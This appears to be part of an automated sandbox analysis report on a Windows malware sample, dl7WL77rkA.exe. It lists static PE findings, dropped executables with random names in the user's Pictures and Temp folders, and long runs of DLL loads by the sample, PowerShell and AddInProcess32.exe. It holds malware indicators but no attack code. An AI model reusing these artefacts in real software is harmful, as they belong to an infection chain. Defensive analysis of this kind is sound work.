Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: String function: 004043B0 appears 316 times

Source: C:\Users\user\Desktop\dl7WL77rkA.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3876 -s 134468

Source: dl7WL77rkA.exe

Static PE information: invalid certificate

Source: MK1r6sTJJ0KuvAGWdjimbW8H.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: IiRP3mWif0xpaQsabblBwYAE.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: PM6qM9TthMxsL1RAWEhuUNLx.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: pdCLEldSyO5Ik39YE4kJVbXN.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: XbJnQ7YPZT43Q5vvoXLuAoSq.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: Jye7PnMsJdWwQaaabqxbHITx.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: sUyDoVTGsfEnMY0oeyexTBut.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: YHw4f8SZUCkdAWRXPfF1qOas.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: IpW6W2Yjx6z6D3j66j3N2tH5.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: 4xb6JU3I8UdzuT7ogqFnBL7Y.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: H7TIhgIvG1Yhal1QnwrEdA0q.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: LP2uR8v5nKtflOO7HsEX74Am.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: SNePs0JIjHDOAKzI11CQ043K.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: YfSmDepXBWKsGmamEEWNYwB5.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: pxzTG78L668f3mDyeDkHXryr.exe.5.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: BroomSetup.exe.13.dr	Static PE information: Resource name: RT_CURSOR type: DOS executable (COM)
Source: BroomSetup.exe.13.dr	Static PE information: Resource name: RT_STRING type: COM executable for DOS
Source: syncUpd.exe.13.dr	Static PE information: Resource name: RT_VERSION type: ARMv7 Thumb COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: dl7WL77rkA.exe

Static PE information: No import functions for PE file found

Source: dl7WL77rkA.exe, 00000000.00000000.2001044658.000001EBAAA22000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenameAssalamAlaikum.exe> vs dl7WL77rkA.exe

Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: profapi.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: wldp.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: webio.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: schannel.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: propsys.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: oleacc.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: wldp.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: wininet.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: profapi.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Section loaded: netutils.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: userenv.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: propsys.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: oleacc.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: version.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: wldp.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Section loaded: apphelp.dll
